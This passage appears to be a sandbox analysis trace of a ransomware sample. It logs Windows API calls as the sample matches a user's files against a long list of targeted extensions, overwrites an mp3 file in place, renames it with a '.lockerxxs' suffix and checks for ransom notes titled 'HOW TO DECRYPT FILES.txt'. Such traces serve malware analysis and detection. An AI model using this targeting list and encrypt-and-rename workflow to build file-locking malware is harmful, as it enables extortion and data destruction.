HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.wav") returned 0 [0090.531] lstrlenA (lpString="*.wav") returned 5 [0090.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", pszSpec="*.mp3") returned 1 [0090.531] lstrlenA (lpString="*.mp3") returned 5 [0090.531] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" [0090.531] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" [0090.531] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3." [0090.531] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3.lockerxxs" [0090.532] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\azkjzm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.532] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb738 [0090.532] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbc643c50, dwHighDateTime=0x1d5dbef), lpLastAccessTime=0x407536*(dwLowDateTime=0x3ca71b20, dwHighDateTime=0x1d5d9da), lpLastWriteTime=0x40753e*(dwLowDateTime=0x3ca71b20, dwHighDateTime=0x1d5d9da)) returned 1 [0090.532] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.532] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb712, lpOverlapped=0x0) returned 1 [0090.534] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3") returned="azKJzM.mp3" [0090.535] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.535] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb712, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb712, lpOverlapped=0x0) returned 1 [0090.535] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.535] CloseHandle (hObject=0x90) returned 1 [0090.536] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\azkjzm.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\azkjzm.mp3.lockerxxs")) returned 1 [0090.537] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75dac30, ftCreationTime.dwHighDateTime=0x1d5dcf9, ftLastAccessTime.dwLowDateTime=0x84470aa0, ftLastAccessTime.dwHighDateTime=0x1d5e653, ftLastWriteTime.dwLowDateTime=0x84470aa0, ftLastWriteTime.dwHighDateTime=0x1d5e653, nFileSizeHigh=0x0, nFileSizeLow=0x94ab, dwReserved0=0x2f00032c, dwReserved1=0x4e00c4, cFileName="kBHYJ6q2A.wav", cAlternateFileName="KBHYJ6~1.WAV")) returned 1 [0090.537] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="kBHYJ6q2A.wav") returned -1 [0090.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="kBHYJ6q2A.wav") returned -1 [0090.537] lstrcmpiA (lpString1="", lpString2="kBHYJ6q2A.wav") returned -1 [0090.537] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\azKJzM.mp3") returned="azKJzM.mp3" [0090.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.537] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.537] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.537] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.537] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="kBHYJ6q2A.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav" [0090.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.ems") returned 0 [0090.537] lstrlenA (lpString="*.ems") returned 5 [0090.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.db") returned 0 [0090.538] lstrlenA (lpString="*.db") returned 4 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.dbf") returned 0 [0090.538] lstrlenA (lpString="*.dbf") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.myox") returned 0 [0090.538] lstrlenA (lpString="*.myox") returned 6 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.myo") returned 0 [0090.538] lstrlenA (lpString="*.myo") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qbw") returned 0 [0090.538] lstrlenA (lpString="*.qbw") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qbb") returned 0 [0090.538] lstrlenA (lpString="*.qbb") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qbm") returned 0 [0090.538] lstrlenA (lpString="*.qbm") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qbo") returned 0 [0090.538] lstrlenA (lpString="*.qbo") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qbx") returned 0 [0090.538] lstrlenA (lpString="*.qbx") returned 5 [0090.538] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qba") returned 0 [0090.538] lstrlenA (lpString="*.qba") returned 5 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qby") returned 0 [0090.539] lstrlenA (lpString="*.qby") returned 5 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qbj") returned 0 [0090.539] lstrlenA (lpString="*.qbj") returned 5 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.ofx") returned 0 [0090.539] lstrlenA (lpString="*.ofx") returned 5 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.qif") returned 0 [0090.539] lstrlenA (lpString="*.qif") returned 5 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mye") returned 0 [0090.539] lstrlenA (lpString="*.mye") returned 5 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mbox") returned 0 [0090.539] lstrlenA (lpString="*.mbox") returned 6 [0090.539] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.eml") returned 0 [0090.540] lstrlenA (lpString="*.eml") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.pst") returned 0 [0090.540] lstrlenA (lpString="*.pst") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.ost") returned 0 [0090.540] lstrlenA (lpString="*.ost") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.idx") returned 0 [0090.540] lstrlenA (lpString="*.idx") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.dbx") returned 0 [0090.540] lstrlenA (lpString="*.dbx") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.sql") returned 0 [0090.540] lstrlenA (lpString="*.sql") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mdb") returned 0 [0090.540] lstrlenA (lpString="*.mdb") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.fdb") returned 0 [0090.540] lstrlenA (lpString="*.fdb") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.wab") returned 0 [0090.540] lstrlenA (lpString="*.wab") returned 5 [0090.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.dat") returned 0 [0090.541] lstrlenA (lpString="*.dat") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.txt") returned 0 [0090.541] lstrlenA (lpString="*.txt") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.jpeg") returned 0 [0090.541] lstrlenA (lpString="*.jpeg") returned 6 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.jpg") returned 0 [0090.541] lstrlenA (lpString="*.jpg") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.png") returned 0 [0090.541] lstrlenA (lpString="*.png") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.php") returned 0 [0090.541] lstrlenA (lpString="*.php") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.cs") returned 0 [0090.541] lstrlenA (lpString="*.cs") returned 4 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.cpp") returned 0 [0090.541] lstrlenA (lpString="*.cpp") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.rar") returned 0 [0090.541] lstrlenA (lpString="*.rar") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.zip") returned 0 [0090.541] lstrlenA (lpString="*.zip") returned 5 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.html") returned 0 [0090.541] lstrlenA (lpString="*.html") returned 6 [0090.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.htm") returned 0 [0090.542] lstrlenA (lpString="*.htm") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.xlsx") returned 0 [0090.542] lstrlenA (lpString="*.xlsx") returned 6 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.xls") returned 0 [0090.542] lstrlenA (lpString="*.xls") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mp4") returned 0 [0090.542] lstrlenA (lpString="*.mp4") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.ppt") returned 0 [0090.542] lstrlenA (lpString="*.ppt") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.pptx") returned 0 [0090.542] lstrlenA (lpString="*.pptx") returned 6 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.doc") returned 0 [0090.542] lstrlenA (lpString="*.doc") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.dot") returned 0 [0090.542] lstrlenA (lpString="*.dot") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.docx") returned 0 [0090.542] lstrlenA (lpString="*.docx") returned 6 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.7z") returned 0 [0090.542] lstrlenA (lpString="*.7z") returned 4 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.tar") returned 0 [0090.542] lstrlenA (lpString="*.tar") returned 5 [0090.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.bz2") returned 0 [0090.543] lstrlenA (lpString="*.bz2") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.gz") returned 0 [0090.543] lstrlenA (lpString="*.gz") returned 4 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mkv") returned 0 [0090.543] lstrlenA (lpString="*.mkv") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.eml") returned 0 [0090.543] lstrlenA (lpString="*.eml") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.msg") returned 0 [0090.543] lstrlenA (lpString="*.msg") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.edb") returned 0 [0090.543] lstrlenA (lpString="*.edb") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.accdb") returned 0 [0090.543] lstrlenA (lpString="*.accdb") returned 7 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.odb") returned 0 [0090.543] lstrlenA (lpString="*.odb") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.java") returned 0 [0090.543] lstrlenA (lpString="*.java") returned 6 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.asm") returned 0 [0090.543] lstrlenA (lpString="*.asm") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.pfx") returned 0 [0090.543] lstrlenA (lpString="*.pfx") returned 5 [0090.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.pem") returned 0 [0090.544] lstrlenA (lpString="*.pem") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.p12") returned 0 [0090.544] lstrlenA (lpString="*.p12") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.gpg") returned 0 [0090.544] lstrlenA (lpString="*.gpg") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.vsd") returned 0 [0090.544] lstrlenA (lpString="*.vsd") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.odg") returned 0 [0090.544] lstrlenA (lpString="*.odg") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.raw") returned 0 [0090.544] lstrlenA (lpString="*.raw") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.nef") returned 0 [0090.544] lstrlenA (lpString="*.nef") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.svg") returned 0 [0090.544] lstrlenA (lpString="*.svg") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.psd") returned 0 [0090.544] lstrlenA (lpString="*.psd") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.vmx") returned 0 [0090.544] lstrlenA (lpString="*.vmx") returned 5 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.vmdk") returned 0 [0090.544] lstrlenA (lpString="*.vmdk") returned 6 [0090.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.vdi") returned 0 [0090.544] lstrlenA (lpString="*.vdi") returned 5 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.lay6") returned 0 [0090.545] lstrlenA (lpString="*.lay6") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.mpeg") returned 0 [0090.545] lstrlenA (lpString="*.mpeg") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.djvu") returned 0 [0090.545] lstrlenA (lpString="*.djvu") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.tiff") returned 0 [0090.545] lstrlenA (lpString="*.tiff") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.backup") returned 0 [0090.545] lstrlenA (lpString="*.backup") returned 8 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.pdf") returned 0 [0090.545] lstrlenA (lpString="*.pdf") returned 5 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", pszSpec="*.cert") returned 0 [0090.545] lstrlenA (lpString="*.cert") returned 6 [0090.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\kBHYJ6q2A.wav", 